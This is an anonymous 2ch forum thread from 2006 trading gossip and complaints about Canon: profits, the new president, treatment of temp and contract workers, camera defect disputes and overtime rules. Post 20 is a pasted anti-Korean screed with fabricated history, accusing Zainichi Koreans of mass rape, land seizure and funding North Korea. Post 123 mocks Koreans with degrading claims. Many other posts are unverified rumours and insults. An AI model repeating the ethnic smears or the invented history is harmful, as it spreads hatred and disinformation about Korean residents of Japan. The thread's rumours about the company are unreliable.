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【便所】キヤノンの裏事情Part22【便所】

1 : :2006/05/11(木) 21:55:58 ID:aqsp48QW
前スレ。
http://tmp6.2ch.net/test/read.cgi/company/1134059151/

2 : :2006/05/11(木) 22:02:44 ID:Yy4AkNaX
便所のプリンタは印刷開始するまで2分以上かかるので使えねー

3 : :2006/05/11(木) 22:10:12 ID:V5zC2tQJ

キヤノン最強

■ベスト・グローバル・ブランド
(ビジネスウィーク誌)
 世界企業 35位(日本ブランド4位)

■世界で最も尊敬される企業2005
(フォーチュン誌) 
 世界企業 30位

■世界で最も尊敬される企業、経営者
(フィナンシャル・タイムズ紙) 
 御手洗冨士夫社長 10位、
 世界企業で25位

■2005年度「優れた会社」、キヤノン2年連続首位

「優れた会社」の首位はキヤノン――。日本経済新聞社と日経リサーチが共同開発した多角的企業評価システム「PRISM(プリズム)」の2005年度ランキングは、
キヤノンが2年連続の首位となった。
05年12月期まで6期連続で最高の純利益を達成した収益力に加え、経営の柔軟性も高く評価された。

■キヤノン首位

日本経済新聞社が「NEEDS―CASMA」(多変量解析法による企業評価システム)を使って2005年度の優良企業をランキングしたところ、キヤノンが1位となった。
5期連続で純利益が過去最高を更新するなど収益性の高さに加えて事業規模の大きさが評価され、
04年度の5位からトップに躍り出た。

■一橋大学大学院の伊藤邦雄教授と日本経済新聞社が共同開発した企業ブランドの総合力を示す「コーポレートブランド(CB)価値」の2006年版がまとまった。
1位はトヨタで、2位はキヤノン


4 : :2006/05/11(木) 22:10:52 ID:V5zC2tQJ
最終利益 2006年3月期

キヤノン 5000億円

松下電器 1300億円
三菱電機  950億円
シャープ  830億円
ソニー   700億円
東芝    650億円
NEC     600億円
富士通   500億円
日立    200億円

キヤノン >>>> 日立+富士通+NEC+東芝+ソニー+シャープ+三菱電機


電機大手 営業利益率 ランキング

★キヤノン 15.0%
   ・
シャープ 5.85%
松下   4.65%
三菱   4.38%
東芝   3.79%
富士通  3.78%
日立   2.70%
ソニー  2.55%
NEC  2.08%(下方修正後 未確)

5 : :2006/05/11(木) 22:11:30 ID:V5zC2tQJ

4人に1人はキヤノン、富士フィルムとソニーが追う〜デジカメ調査
http://japan.internet.com/research/20060428/1.html


デジカメ所有率ランキング

1.「キヤノン」25.3%
2.「富士フィルム」15.8%
3.「ソニー」12.6%


「デジタルカメラ」ブランドイメージ ランキング

1.「キヤノン」55.17%
2.「オリンパス」13.47%
3.「ソニー」10.33%


直感で聞く「〜〜ならこのメーカー」、ハードウェアブランドのイメージ調査
http://japan.internet.com/research/20060131/1.html

価格コムの売れ筋ランキング

デジタルカメラ 1位キヤノン 2位松下 3位ソニー
一眼レフカメラ 1位キヤノン 2位ニコン 3位キヤノン
スキャナ 1位富士通 2位キヤノン 3位エプソン
プリンタ 1位キヤノン 2位エプソン 3位キヤノン

http://kakaku.com/ranking/itemview/bsd.htm


6 : :2006/05/11(木) 22:12:26 ID:V5zC2tQJ
御手洗冨士夫 キヤノン社長

収益で世界の100社へ

なぜ、キヤノンが元気なのか。この人の話を聞くと誰もが納得し、なんとなく力が湧いてくる。

「世界に冠たる会社を作る」
「世界のトップ100社に入りたい」
「売上高5兆円を目指す」

など大言壮語とも思えるような『夢』が次から次へと飛び出す。
しかし、95年に社長に就任してからの実績をみると、「御手洗 さんならやるだろう」と思わせる経営者である。


複合コピー機などオフィス向け機器や、半導体露光装置や液晶基板露光装置、テレビレンズなどの産業機器、
さらには同社がこれから注力するX線デジタルカメラやDNA検査システムなど、
これまで以上に幅広い分野でナンバーワンの地位を占めたい、と御手洗氏は説明。



「そのために研究開発力を強化する。研究開発費を04年の2,750億円から10年には5,000億円に積み増し、そのうち2,000億円を基礎研究に充てる」とした。


「真のグローバルエクセレントカンパニーへ」−キヤノンEXPO 御手洗社長キーノートスピーチ AV&ホームシアターNews
http://www.phileweb.com/news/d-av/200510/26/14127.html

7 :1 乙:2006/05/11(木) 22:13:06 ID:2k0mxjIR
しかしもう22か。歴史を感じるな。

8 : :2006/05/11(木) 22:13:15 ID:V5zC2tQJ
平成17年度 産業財産権制度活用優良企業等表彰

キヤノン株式会社
《経済産業大臣表彰(意匠活用優良企業)》

企 業 名: キヤノン株式会社
代 表 者: 代表取締役社長 御手洗 冨士夫

平成17年度 産業財産権制度活用優良企業等表彰 キヤノン株式会社
http://www.jpo.go.jp/torikumi/hiroba/h17_chizai/meti_02.htm



■ 国財務体質の強化はエクセレントカンパニーの必須条件であり、
多くの日本企業の喫緊の課題でもある。


下の表は8つの業績指標でキヤノンとトヨタ、ソニー、リコーを比較している。

いずれも日本を代表する優良企業であるが、その中でもキヤノンのパフォーマンスの高さが際立っているのがわかる。
特に売上高総利益率ではトヨタが19.8%であるのに対し、キヤノンは50.3%と段違いの高収益性を見せつけている。


ホンマノオト>企業と経済研究 「キヤノンの優良財務体質」
http://eri.netty.ne.jp/honmanote/comp_eco/2005/0125.htm

9 :ぱんしゃぶ広瀬:2006/05/11(木) 22:15:09 ID:6ix09amW
スレタイの【便所】っていうのもねぇ・・・。
社長も交代したし、【大分】【佐伯】でもよかったのに。

10 : :2006/05/11(木) 23:01:49 ID:Yy4AkNaX
企業理念「強制」

11 : :2006/05/11(木) 23:13:55 ID:Yy4AkNaX
http://news.livedoor.com/webapp/journal/cid__1948473/detail?rd

 キヤノンでは、毎朝7時半から役員が集まり情報交換
する「朝会」を実施。伝統的に席順は自由で、その日の
話題を共有して、方針を確認し合う。御手洗氏は「経団
連の仕事に専念し、キヤノンの通常業務をできるだけ任
せたい」としながら、朝会への出席継続を強調。経営と
財界活動の“2足のわらじ”となる今後について「朝7時
から2時間ぐらい会社の仕事をして、9時半から10時の
間ぐらいに経団連に出勤することが日課になる」と語っ
た。

◆内田恒二(うちだ・つねじ) 1941年大分県生まれ。65
年に京都大工学部を卒業し、旧キヤノンカメラに入社。99
年カメラ事業本部長に就任し、コンパクトデジタルカメラ
「IXY DIGITAL」を開発。同部門を世界トップに押し上げ
た。常務、専務を経て、06年3月代表取締役副社長に就
任。週末はゴルフ練習、古代の歴史や失われた文化に
関心が高いという。【了】

12 :蒲江:2006/05/12(金) 21:39:49 ID:QCSYlGuJ
古代の歴史や失われた文化・・・か。

13 : :2006/05/13(土) 11:30:48 ID:Etzhl2bu
今度の社長は京大出ですか
頭はいいんだろうね

14 : :2006/05/13(土) 19:14:08 ID:tfnJcRvn
プリンタ買うならレックスマークだお

15 : :2006/05/13(土) 19:32:39 ID:D1o4y6cP
技術系出身の社長は期待できる

16 : :2006/05/13(土) 19:56:16 ID:nHh5BcK3
>>15
それはどうかな?朝会にもしっかり出てコントロール
するようだから、あんまり変わらないような気がする。

17 :うんす:2006/05/13(土) 23:10:19 ID:dho5+6kh
うんうん、技術系社長はいいねぇ。やっぱ理系だよな。文系の人事と総務とかは余計な事ばかりするからね。


18 : :2006/05/14(日) 01:26:41 ID:Neg3l/9w
現場のことばかり考えて金儲けがあと回りになれば株価も下落するお

19 :元、協力会社社員:2006/05/14(日) 02:14:42 ID:Ln4xHN3D
丸子の土手で花見したり納涼祭って今もやっているのですか?
あれ、結構楽しかったなぁ〜

20 ::2006/05/14(日) 02:20:48 ID:PfxtYLkD
日韓併合後、在日朝鮮人は厳しい身分差別から逃れるため、自らの意思で朝鮮半島を脱出して日本に渡ってきました。
日本がポツダム宣言を受け入れると在日たちは「戦勝国民」であると主張し、「朝鮮進駐軍」を名乗り、各地で暴れ始めました。
日本の男たちは戦場に駆り出され、残っていたのは女、子供、老人ばかり。 朝鮮人たちはやりたい放題で、駅前の一等地は朝鮮人に占領されました。 もちろん、そこに住んでいた日本人女性は容赦なく強姦され追放されたのです。

当然、日本人は在日を強く憎むようになりました。 そのため、在日朝鮮人たちは日本名を名乗るようになりました。 朝鮮名を名乗ることは自分が犯罪者だと宣言しているようなものだからです。

朝鮮人たちは共産主義者と組み、マスコミを使って歴史の捏造を始めました。 「強制連行されて来た」「土地を奪われて仕方なく来た」等々。 そして強姦犯罪を謝罪せず、土地を占拠し続けながら、
「俺たちは何も悪いことをしていないのに差別される」「不当な差別を受けている」 「謂れなき差別を受けている」等と宣伝しました。
朝鮮進駐軍を知らない世代の日本人は在日に対して罪悪感を持つようになりました。

在日たちは占領した一等地で事業を始めました。 それが「パチンコ」です。今でもパチンコ業者の8割は在日です。 パチンコは30兆円産業。何と自動車産業よりも規模が大きいのです。
パチンコ業界は脱税と、北朝鮮への送金で知られます。 「日本のパチンコがある限り、我が国は安泰だ(金正日)」 日本の政治家にもパチンコの金が流れています。
だから「パチンコ、パチスロはギャンブルではない」等という馬鹿げた論理がまかり通っているのです。

祖母や曾祖母が朝鮮人に強姦された場所でパチンコやスロットを楽しんだり、 朝鮮の民族料理である焼肉を食べる・・・ これは「日本人」以前に「人間として」恥ずべき行為ではないでしょうか。

21 : :2006/05/14(日) 06:26:15 ID:Neg3l/9w
納涼祭のときは役員家族席がマンション側に出来るのだが、あの席はVIPだから会社の役員の椅子と同じだな

22 : :2006/05/14(日) 12:57:49 ID:qx7XdZf8
キヤノンの決算、117円換算なんだがグローバル企業じゃないかと‥

はやく下方修正しないと‥? 

23 : :2006/05/14(日) 15:11:15 ID:s0aKx8mN
為替予約が入ってるからいいんだよ

24 : :2006/05/14(日) 17:56:18 ID:wA4dIxdf
控えめに発表してるから、大丈夫なんじゃね?
もう10回連続くらい上方修正してるよね

25 : :2006/05/15(月) 02:36:18 ID:sxXjYH3s
>>22

つ http://www.smartfinance.net/fxderv/index.html

26 : :2006/05/16(火) 15:20:27 ID:Bh5zH/Xw
修理代で利益はガンガン増え続けるだろうな。
さすがキヤノン

27 : :2006/05/16(火) 16:02:02 ID:0Bek+l7w
無料修理だったら利益損なうけどな

28 :下丸子:2006/05/16(火) 19:32:33 ID:h9/xnryi
社員をロボットとしか思ってないじゃん。

29 : :2006/05/17(水) 05:37:33 ID:cxAl+43P
社員は人財
派遣は雑巾
偽装請負さん(ヨソ者)は産業ロボ

30 : :2006/05/17(水) 08:56:29 ID:zTnS0onm
偽装請負なんてない。請負常駐の偽装派遣ならある。

31 :aa:2006/05/17(水) 18:56:26 ID:t1SUoqVS
もうおわた

32 :ДД:2006/05/17(水) 19:02:00 ID:3Pwaav5d
Canonは屁

33 : :2006/05/17(水) 19:41:25 ID:n44yDRjB
マジレスすると、派遣はロボットの代わり。

34 : :2006/05/17(水) 21:34:52 ID:b8sJCp8c
派遣は社員の代わり。
社員は居候の代わり。

35 :ss:2006/05/18(木) 20:38:58 ID:ZgKwbIbN
社員もつらい。
関係会社の社員はもっとつらい。

36 :  :2006/05/18(木) 21:07:50 ID:3HLW9EO0
SED、年末に発売らしいですね。頑張ってください。

37 : :2006/05/18(木) 23:18:47 ID:RJC5HN2b
この株価じゃSEDどころじゃないな。

38 : :2006/05/19(金) 01:53:52 ID:4nD2B860
円高傾向だから仕方ないかなぁ。各国合意のもとのドル安誘導が入っているから、
もうちょい行くだろうね。100円は当分切らないと思うけどねん。

39 :告発:2006/05/19(金) 23:11:01 ID:StoNSW14
キャノンのスーパーショットの故障が頻発するのでリコールを国に届けるよう求めたことがある。しかし会社側はこれに応じなかった。結局、買い戻してもらうことで妥協したのだけど、明らかに欠陥商品だったと思う。似たような経験をした人、泣き寝入りした人いませんか。




40 : :2006/05/20(土) 00:18:24 ID:FoKJmQYx
キヤノンは製品の欠陥をなかなか認めません。IXY400のCF端子壊れの問題だって
昨年から散々ネットで騒がれていたのに全く意に介さなかったくらいだからね。

やっと重い腰を上げたのは、もう現役じゃないだろうってくらいに時間が経ってか
ら。酷すぎる。

41 :告発:2006/05/20(土) 01:09:40 ID:BsSe43IA
 購入から1年で3回の故障だよ。1回目が有料修理、2回目が無料修理、3回目にさすがに俺はキレタ。せっかくの子供の入学という肝心な時に故障だ。いずれにしろ、こんな欠陥商品を作り、しかもそれを頑として認めない会社の会長が経団連会長というのは許されるのだろうか?

42 : :2006/05/20(土) 03:02:53 ID:FoKJmQYx
ん? でも、スーパーでなくパワーな。

43 : :2006/05/20(土) 07:55:36 ID:V53FsV+R
>>41
おまえはバカだな。
あれはおもちゃだよ。

おれならうつるんですで安全に撮影するね。

44 :えっ?:2006/05/20(土) 10:53:33 ID:u79QHSa6
経団連会長って?

45 :  :2006/05/20(土) 11:36:00 ID:xD1ptS9a
おれ社員なんだけど、なんかコスト!コスト!ってバカの1つ覚えみたいな上司いない? 通称キムラ君。
下っ端(通称:アネハちゃん)は品質重視で造りたいんだけど、初期フェーズで性能でないけど安いからこの材料じゃ後詰まりするの当たり前じゃん。
でもなんか、最後は問題あるんだけどなんか品質OK!で出てるんだよね。

ちゃんと見てんのかな? うちのイーホームズどもは?

46 :告発:2006/05/20(土) 12:17:17 ID:BsSe43IA
 ああ、スーパーじゃなくてパワーだった。ごめん。それにしてもトンデモない会社じゃない? 返金された金で買ったミノルタのデジカメのほうがよほど性能がいいぞ。そのミノルタがソニーに買収されるんだもんな。不条理な世の中だよ。

47 ::2006/05/20(土) 19:41:24 ID:u79QHSa6
クレーマー

48 : :2006/05/21(日) 06:00:02 ID:d8BPh5eC
コストを重視したあげく、製品の品質が低下して、結果的に誰も商品を買わなくなり、特価品でも売れ残りすぐ壊れる商品が未使用のまま廃棄される運命。

49 :11:2006/05/21(日) 08:25:33 ID:Nhv8Ul3d
>>48
原産国が中国じゃない分イイジャマイカ

50 : :2006/05/21(日) 10:16:37 ID:KgflWw3V
コストパフォーマンスの良さが世界市場で勝つ秘訣ですからね
キヤノンは売上と利益の8割を日本以外で獲得してるから、
たとえ日本市場を失ったとしても十分やっていけるでしょ

51 : :2006/05/21(日) 10:45:59 ID:ASaLgVUe
>>39
スーパーショットって何だよw
明らかにキヤノンとは関係無い奴がここで書き込みしているなwww


工作員がいくら金もらっているのか知りたい。


52 :告発:2006/05/21(日) 11:40:15 ID:KgAhmUO6
 だからパワーショットの間違いだったといっているだろ。こっちは修理書、返金明細など証拠類をすべて保存しているんだ。キミこそ欠陥商品製造メーカーの必死の擁護ぶりが痛いぞ。

53 :カンペイ:2006/05/21(日) 12:25:25 ID:lY0Eiil/
ていうか、スーパーショットって何?パワーショットの間違い(以下略)

54 : :2006/05/21(日) 16:21:06 ID:LrX6ygJv
>>46が読めない>>53 m9(^Д^)プギャー

まあ、欠陥を認めたらリコールやら無料修理やらで利益が減るから経団連には向かないだろ。
↓の欠陥もずっと放置して、最近2chで叩かれてやっと公表。だからパワーショットも、あと数年待ってくれ。
http://www.kakaku.com/bbs/Main.asp?SortID=3589311

このサイトも作り話じゃないか?ってほど酷いね。
ttp://www.cablenet.ne.jp/~nihei-s/BJ/BJ_body_11.html
ttp://members.at.infoseek.co.jp/v1v1v1/

55 : :2006/05/21(日) 17:28:13 ID:d8BPh5eC
>>51
派遣ネット見てると工作員の募集が結構たくさんあるよ

56 :告発:2006/05/21(日) 17:29:36 ID:KgAhmUO6
 ああそうか価格ドットコムでも評判になっていたのか。ひどすぎるぞキヤノン。正々堂々とリコールせいや。ナショナルを少しは見習ったどうなんだ。経団連会長会社だろ? そのうちマスコミが騒ぎ出すんじゃないか。

57 : :2006/05/21(日) 17:49:31 ID:d8BPh5eC
ヒント:騒ぐ香具師だけ金で解決

使い捨てプリンタレックスマーク最高!

58 : :2006/05/22(月) 00:21:22 ID:QBKLDgOK
同じ事をライブドアがしたら大騒ぎだろうけど、キヤノンならマスコミが騒ぐなんて有り得ない。
恐ろしいね・・・

59 : :2006/05/22(月) 02:55:44 ID:lF0c3+hR
特に人命に関わらない製品欠陥をリコールした例があるなら教えてくれないか

60 : :2006/05/22(月) 04:19:39 ID:518h3yqE
>>59

狭義では国土交通省に自動車メーカー届け出る、保安基準不適合を是正するための
無償修理のことだけどね。

広義ではこんなのも(↓)リコールなんだな。

http://www.sony.co.jp/SonyInfo/News/ServiceArea/DSC-T11b/

61 : :2006/05/22(月) 05:21:31 ID:qXWJM7Q+
>>59
ヒント新聞

62 : :2006/05/22(月) 10:45:28 ID:uLocHHuh
欠陥隠蔽叩きもいいが、
本来の【社員 vs 派遣】スレに戻そうぜ!


↑違う

63 :告発:2006/05/22(月) 20:56:21 ID:pihhdclb
 ソニーの姿勢は正しいね。それに比べてキヤノンはなんだ。全く信用できない会社だ。

64 : :2006/05/22(月) 23:15:02 ID:zCT1sCRB
修理代でガッポリ儲けてくれるなら、株主からすると超優良企業なんだけどな。

65 : :2006/05/22(月) 23:58:31 ID:Y3czIGqy
>>63
キヤノンは信用取引できまつよ! (・∀・)

66 : :2006/05/23(火) 00:01:45 ID:ybH7U6fB
>62

ロボットは派遣の代わり
派遣は社員の代わり
社員はシャチョの代わり

67 : :2006/05/23(火) 01:04:02 ID:dbxRYgCE
>>45 品保の連中は、市井から上がってきた問題点をろくすっぽ検証もせずに
設計室にスルーするだけの存在。設計ミスなら設計室が確かに悪いが、せめて
初期検討ぐらいしてからよこせ。おめーらの仕事はなんなんだ!

市場に出す前? まぁそれなりにテストはしてんだろ、それなりに。

68 :ピンポン:2006/05/23(火) 06:56:49 ID:HZliA3H1
>67
アホ!設計に流すのなんて星の数ほどあるうちのごく一部だっちゅーの

69 : :2006/05/23(火) 16:57:51 ID:AwSaJ7KN
テストなんてしてるのか?パソコンで設計して終わりだろ。
まともにテストしてたら、電源の入らないファームウェアなんて公開できない。

HPで「試作レス」を自慢げに紹介してたぐらいだから。
2chでコピペされて即削除したけどなw
あの時の仕事の速さには感動した!

70 :.:2006/05/23(火) 18:06:45 ID:2yLFUq1e
>>66シャチョウは便所の代わり

71 : :2006/05/23(火) 21:28:33 ID:Z+gs3r+O
品保なんかヒマな奴いっぱいいますよ。

72 :71:2006/05/23(火) 21:30:46 ID:Z+gs3r+O
その割にはみんな遅くまでいますけどね。

73 ::2006/05/23(火) 21:35:38 ID:Yg3dZGoK
定年は何歳ですか

74 : :2006/05/23(火) 23:04:33 ID:zZco5F7j
>>69
> HPで「試作レス」を自慢げに紹介してたぐらいだから。
> 2chでコピペされて即削除したけどなw

それ見たい!
誰か保存してないの?
保存してたらうpして

75 :ななし:2006/05/24(水) 01:09:45 ID:UIHZ0FCB
社長が変わった
働きやすい環境になるといいなあ。。

76 : :2006/05/24(水) 01:46:01 ID:MN9N6lXy
院政敷いているからね。淡い期待は持たないこった。

77 :鬱男爵:2006/05/24(水) 05:01:13 ID:lE3nwnAw
ttp://www.hucc.hokudai.ac.jp/~j15275/haiki4.html

工場解体が進まないらしいじゃん。

78 :侵入社印:2006/05/24(水) 05:17:41 ID:6FjpnlcF
副業やりたいんだけど、
キヤノンの社印って、副業ってできるんでつか。
就業規定とかにひっかからないでつか。

79 : :2006/05/24(水) 05:24:32 ID:FE9UPaif
新入社員の人、今研修はどこでやってますか?

80 : :2006/05/24(水) 07:13:59 ID:r4t0n92C
キャノン販売で押し売り研修
フロント企業の組事務所に入ってしまって帰れない香具師多数w

81 :サンシャイン:2006/05/24(水) 08:56:13 ID:6TV6JLyH
求む!!
〔PC管理エージェント〕って
どこまでわかっちゃうのかな??


82 : :2006/05/24(水) 09:52:09 ID:MN9N6lXy
トリクロロエチレン、テトラクロロエチレンとか、有毒なレンズコーティング塗布(未だに人手)とか、
レンズ工場の人の健康は確実に蝕まれているな。強力排気ブースで作業してたって、確実に蓄積
されるぞ。気をつけろ!(ふる

83 : :2006/05/24(水) 13:49:33 ID:NmDj1dGm
>>74
以前のは残ってないが、これならある。
ttp://cweb.canon.jp/solution/proposal/purpose/trial.html

試作どころか、検品も・・・w

84 : :2006/05/25(木) 23:17:14 ID:tRz5eUUO
キヤノンってフィルムカメラから撤退するの?

85 : :2006/05/25(木) 23:59:42 ID:bO9s2tie
↓日本人にとってちょっといい話

●愛国心なき経済改革は失敗する 御手洗冨士夫(キャノン社長)
http://www.globetown.net/~otsboo/photo1/can03612.html

86 : :2006/05/26(金) 00:02:56 ID:YaOFtWNA
>>85
↑社員にとってはどうでもいい話

87 : :2006/05/26(金) 00:40:30 ID:4qTB0rTk
フジヲちゃんも、ウッチーもオメ
キヤノソ社印に恥をかかせないようガムバッテくれたまえ

ウッチーに、手当て復活希望
みんなもいろいろお願いしよう

88 : :2006/05/26(金) 03:55:04 ID:uQrQjBtY
院政敷いているから、無理!

89 : :2006/05/26(金) 09:16:56 ID:msfkH+od
>フジヲタン、ウッチータン、おまいら

院卒内定者でし
本社下丸子タンで働きたいんだけど、
あそこってどんな部署・職種の香具師らがいるの?
エリートオンリーはかんべん><

90 : :2006/05/26(金) 14:19:53 ID:ZkY7tc5x
下丸子は治安が悪いよ。
社内格差が最もある事業所ですから、収入の少ない派遣さんがたくさんいます。
財布を落としたら帰ってこないと思えってところです)・x・(

91 : :2006/05/26(金) 20:55:14 ID:YaOFtWNA
>>90
そのために警備員を大量配備しています
あれは部外者を見張るためではありません
社員を監視するためです


92 : :2006/05/26(金) 22:04:28 ID:MXJSyqtd
>91
その警備員の収入はどれくらいなのですか?
セコム社員がその立場をフルに利用して泥棒三昧してた件もあるし。

93 :下付きま◯こ:2006/05/26(金) 22:08:00 ID:X6Nt6CDp
実はスラム街だったんですね。

94 : :2006/05/27(土) 00:53:12 ID:XEItxuIZ
今日の朝日新聞の朝刊にさりげなくキャノンが叩かれてた。
請負や派遣社員が生産を支えていてその人たちを正社員にしろって内容だった。
アホ臭いですよね社長様。

95 :ななし:2006/05/27(土) 01:12:32 ID:mt5gvTeY
次の施策は生家主義にして牢動時間の上限撤廃です

96 : :2006/05/27(土) 03:30:06 ID:gVAhlTMA
成果主義はもうやってるだろ。裁量労働制だわな。実質フレックス復活!

制度:技術職を中心とした自主的な労働時間管理に関する規定
・1日の最低労働時間は7.5時間とする
・休憩時間は最大1時間とし、最低時間は規定しない
・就業開始時刻は各事業所で定めることとする
 午前8時から午前8時30分を目安とする
・みなし残業時間は各事業所で定め、基準単価によりこれを支給する
 10時間から20時間を目安とする
・一時金への加算は、以下のように定める
 …

97 : :2006/05/27(土) 03:48:12 ID:XEItxuIZ
自主にすると怠けるから今のようにフレックスやめたんだよ

98 :ななし:2006/05/27(土) 20:20:47 ID:mt5gvTeY
>>95
>成果主義はもうやってるだろ。裁量労働制だわな。実質フレックス復活!
1社なんてはなしじゃないよ。
経団連でだよ。。

残業規制なし。(成果主義なんで払う必要なし)
マジで話でてるよ。


99 : :2006/05/27(土) 21:08:33 ID:GZR1KOQ0
労働基準法を改悪しようって動きがあるよね。
裁量労働制や成果主義を法的に認めようっての。
もしこれが実現すると、雇用主は残業手当を出さなくてよくなる。
便所といい奥田といい、大企業の偉い人は労働者いじめがお好きなようで。

100 : :2006/05/27(土) 22:05:51 ID:/VxpYxtm
>>97-99

うぅ・・・ネタなのに誰も突っ込んでくれないなんて・・・真面目なんだな、みんな

101 :ななし:2006/05/28(日) 00:01:25 ID:mt5gvTeY
>>99
>うぅ・・・ネタなのに誰も突っ込んでくれないなんて・・・真面目なんだな、みんな
余裕あるねえ。。
そんな願望、ネタにもならん会社になっとるだろうに。。

遊び心とか心の余裕とか感じられないんだよね。。

102 :AAA:2006/05/28(日) 12:24:28 ID:yN54uRTk
便所曰く
「政治献金」は「社会貢献」だ。だから自民党に政治献金を行う。

便所の言う社会貢献ってのはこういうことだ。とうとう馬脚を表した。
 

103 : :2006/05/28(日) 13:01:03 ID:1DIXdOKK
「政治との繋がりを、より密に」と言ってたね。
さすが天下り!

批判をかわすため「癒着はいけない」とか言ってたけど表向きでしょ?

104 :社員:2006/05/28(日) 15:21:40 ID:MfqUTMbv
悪いけど俺は民社党員だ

105 :世も末:2006/05/28(日) 16:38:04 ID:tTS4XIoS
利益上げて社員には還元しない!社会格差を拡げる派遣は雇い放題
利益の使い方も判らないから、箱物にばっかり金かける。
うちの会社は小泉政権の悪いとこ取り!そんな社長が経団連の会長!
日本社会の矛盾がそのまま出てる。今後、若者には夢も希望も最低生活も
望めない!!!暗黒の十年計画が来年初に発表される。

106 :あsdf:2006/05/28(日) 18:14:39 ID:yN54uRTk
いままでキヤノンは武器は作らないっていうことを会社として標榜していたけど、
そのうち武器を作ることは愛国であり、愛国だから社会貢献だと言い出しかねない。

107 :  :2006/05/28(日) 20:41:15 ID:9mXo2K9I
トナーは十分化学兵器してますよ。
この手の代物は時間がたってから効いてくるのでやっかいでつね。

108 : :2006/05/28(日) 20:53:02 ID:GY2EMB7Z
直接兵器を造ってなくても、
間接的に関係してる分野はいくらでもある。

109 ::2006/05/28(日) 23:08:56 ID:RiYpl8IA
働けど働けど 稼いだ金は 政治家へ
じっと 手を見ろ!

110 : :2006/05/29(月) 00:36:27 ID:L78QguWo
>>105
世の中のまともな労働組合は、ウチみたく甘くないだろう。
労働者イヂメをしてると、恨まれるんじゃないか?
本人が恨まれるのは自業自得だが、
そんなトップを野放しにしていたとかいって、
オレらが石を投げられたのではカナワンよ。

ところで、会長室ってつくったの?

111 : :2006/05/29(月) 14:56:51 ID:+AxopoLb
不具合が多いキヤノンは武器だけは作らないでくれ。
誤作動とか起こして自爆装置に変わりそうだ。

112 : :2006/05/29(月) 23:56:02 ID:S4gFmOca
ちなみに発火装置ぐらいはある。

113 : :2006/05/30(火) 00:25:06 ID:wBAPbDqG
監視カメラがいたるところに
常設してあって
社員の仕事態度とかを
監視しているってマジ?

114 : :2006/05/30(火) 00:47:24 ID:5MKf/te2
>>113
社員の仕事態度なんか見てませんよ。
冗談を真に受けないでください。
あれは防犯カメラです。
社員が犯罪を犯さないか監視して
会社を守るためのものです。

115 : :2006/05/30(火) 02:55:50 ID:rDSlx7Z+
正直自動改札置いてもフェンス越えられるほど低いのであまり意味が無いと思う

116 : :2006/05/30(火) 19:09:04 ID:OLE7u81G
>>113-114 その通り。ちょい昔、子会社の社員が図面庫に潜り込んで何やらゴソゴソやって
いたのは、監視カメラでバレたはず。デジカメかなんかで撮影してたんだっけ?

117 : :2006/05/30(火) 20:41:07 ID:FWZ+D0pJ
社員ではなく、キヤノンを監視するカメラを取り付けてください。


118 :   :2006/05/30(火) 22:25:30 ID:NauktY8g
管理職のセクハラを防止するカメラきぼんぬ。

119 ::2006/05/31(水) 21:14:59 ID:H5fcfOmi
明日からクールビズらしいが、対象は正社員だけらしい。
なんじゃそりゃ。そんなところで差別すんなよ。

120 : :2006/06/01(木) 02:21:04 ID:ffjFAhx5
派遣は暑くても我慢しろってことでは? 縞々ジャケット捨てちゃえ!
ってか、半そで貸与されてるだろ?

121 ::2006/06/01(木) 22:37:04 ID:12G9KfKB
>>119
いいや違うだろ。結局許可する権限は派遣会社にあるから勝手に許可できないんだよ。
子供じゃないんだからチョットは考えようね。
まぁ、全然考えなしの総務とかがわけのわからん事を決めるけどね。

122 :   :2006/06/01(木) 23:08:21 ID:/ojZ+Jg7
>>121
違うよ。派遣会社と労働者の間は雇用関係だけだよ。
指揮命令関係は派遣先(キヤノン)と労働者の間に発生する。

ちなみに去年は派遣さんにもGCIPで通達が来たそうな。

123 ::2006/06/02(金) 01:18:06 ID:ZYZ7x5VT
***** 紅濁 [ホンタク、Hong-Tak] *****

魚を糞尿に漬けて発酵させたもの。
朝鮮人の郷土料理。
強烈なアンモニア臭が味覚を刺激するという。

***** 嘗糞 [ショウフン、Siou-Hung] *****

糞を嘗めてその味で健康状態を判断する。
朝鮮人の民間療法。
苦いと健康、甘いと不健康。

124 :方法:2006/06/02(金) 20:28:01 ID:uDFTxxuA
>78
3年間休職し、給料の96%もらい、その間大学院に通って卒業する
http://www.hosei.ac.jp/fujimi/riim/img/img_res/200603ito.pdf
そんで大学の先生になって、キヤノン退職する
http://kbweb3.kj.yamagata-u.ac.jp/2006/html/2006_01_13550.html
これ最強

125 :>>124・・・:2006/06/03(土) 12:43:34 ID:j1hGb6Tr
 (゚д゚)ウマー

126 : :2006/06/03(土) 14:09:33 ID:mCz0YuUP
>>124
( ゚д゚)ポカーン

127 :一発:2006/06/03(土) 18:11:05 ID:AmhSkHrA
N社から、出向者が来るぞ。そのうちに移籍だと。

128 :>>126:2006/06/03(土) 20:17:15 ID:3GcHOiK4
ttp://www.econ.tohoku.ac.jp/~econlib/hakaseronbun.pdf

たしかにここのP.6にいる。社内晒し


129 : :2006/06/03(土) 22:26:30 ID:zsuJEY2Y
○Eなんていらない。

130 :WC様…?:2006/06/03(土) 22:49:04 ID:2GCb7Ggn
観音様〜WC様…視察イジメに来るじゃあねぇよ?インチキ書類書くのが大変なんだょ。工場内大大掃除。RB1―6×××の原価は\×55…はぁ?歌ってるょ〜管理費1台5円?もしもしぃ…?便器野郎。

131 :.:2006/06/04(日) 00:10:57 ID:w69dzv8f
>>130
念のためコストテーブル見て特定しておいてやるよ。

132 ::2006/06/04(日) 17:42:50 ID:h97ZX8r/

そんなこと、言っていいのかな?
もっとすごい、裏事情暴露しちゃうよw



133 ::2006/06/04(日) 17:45:42 ID:nwRUEXgg

表向き、優良企業として、ほめそやされて
いるけど、裏では結構あくどい事やってるよなw





134 :観音様…:2006/06/04(日) 17:50:25 ID:lBQbczS1
成形機は24H稼働を知っていて、急に金型持ってきてさ…トライ成形やってみてくれ?〜なぁんて言うンだょ。それで…あ〜だこ〜だ勝手に文句たれるンやもん…マジ切れだょ。しかも100tクラスだょ。テメ〜でやれだょ。残業代だせょ。トイレ野郎。

135 : :2006/06/05(月) 02:20:08 ID:lXEISt9k
出た! 単発ID。最近流行ってるね。

早いところ対策してくれよ>2ch運営

136 :軽ダン連会長:2006/06/06(火) 00:06:48 ID:wx4QjDOQ
40台童貞率は10%らしいがキヤノンではどのくらい?
メーカーでおたくだらけだから3倍で30%くらい?

http://news.www.infoseek.co.jp/society/story.html?q=02gendainet05016958&cat=30

137 :N社です。:2006/06/06(火) 01:31:53 ID:G2ZJveH6
>>127
私の知り合い(といっても名前だけ)が御社にお世話になる話をついこの前聞きました。
本人いわく、ボーナス2倍給料2倍と嬉しそうに語っていたらしい・・・・、
